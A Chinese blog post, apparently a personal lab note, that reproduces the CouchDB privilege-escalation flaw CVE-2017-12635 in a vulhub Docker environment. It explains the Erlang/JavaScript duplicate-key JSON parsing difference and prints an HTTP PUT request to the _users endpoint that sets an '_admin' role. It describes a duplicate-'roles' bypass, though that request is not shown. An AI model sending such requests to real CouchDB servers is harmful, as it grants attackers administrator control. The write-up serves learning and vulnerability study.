【漏洞复现】vulhub couchdb/CVE-2017-12635

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

本文目录

CVE-2017-12635 垂直越权漏洞

CouchDB介绍

复现思路

本地环境搭建

CVE-2017-12635 垂直越权漏洞

CouchDB介绍

CouchDB(全称为Apache CouchDB)是一个开源的面向文档的数据库管理系统。它采用了基于文档的NoSQL模型,具有分布式、可扩展和高性能的特点。

以下是一些关键特点和优势:

  1. 文档存储:CouchDB以文档为核心,使用JSON格式存储数据。每个文档都有一个唯一的标识符(ID)和一个JSON格式的内容。这种存储方式使得数据的表示更加灵活和自由。

  2. 分布式架构:CouchDB支持水平扩展,可以在多个节点上分布数据,实现负载均衡和高可用性。分布式架构还能提供强大的数据复制和同步功能,确保数据的安全性和一致性。

  3. 强大的查询功能:CouchDB使用MapReduce来支持复杂的查询。您可以定义视图(Views),通过Map函数将文档转换为特定的键值对形式,然后使用Reduce函数对键值对进行聚合操作。这样就可以实现灵活的查询和分析。

  4. 支持实时更新:CouchDB使用B-tree索引结构和MVCC(多版本并发控制)机制,可以支持实时的写入和查询操作。这意味着您可以立即读取最新数据,而不需要等待索引的重建或锁定资源。

  5. 建立在Web技术上:CouchDB使用HTTP作为接口进行数据交互,并且提供了一个Web浏览器界面,使得开发人员和管理员可以方便地管理和操作数据库。

复现思路

由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。可用于非管理员用户赋予自身管理员身份权限。

在Erlang:

> jiffy:decode(“{“a”:”1″, “a”:”2″}”).

{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}

在JavaScript:

> JSON.parse(“{“a”:”1″, “a”: “2”}”)

{a: “2”}

对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值。但是在jiffy实现的时候,getter函数只返回第一个值。

本地环境搭建

  • kali靶机

拉取镜像

cd vulhub/couchdb/CVE-2017-12635
docker-compose up -d
docker ps -a

访问http://192.168.61.131:5984/_utils/#login
出现以下页面,搭建成功。

这里不知道账户和密码,先发送一个PUT的数据包

PUT /_users/org.couchdb.user:test1 HTTP/1.1
Host: 192.168.61.131:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: AuthSession=
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 90

{
  "type": "user",
  "name": "test1",
  "roles": ["_admin"],
  "password": "test1"
}

报错显示{"error":"forbidden","reason":"Only _admin may set roles"}

意思是只有_admin用户可以设置roles

发送包含两个roles的数据包来绕过限制

返回访问
输入用户:test   密码:test
登录成功。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yang_peach的博客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值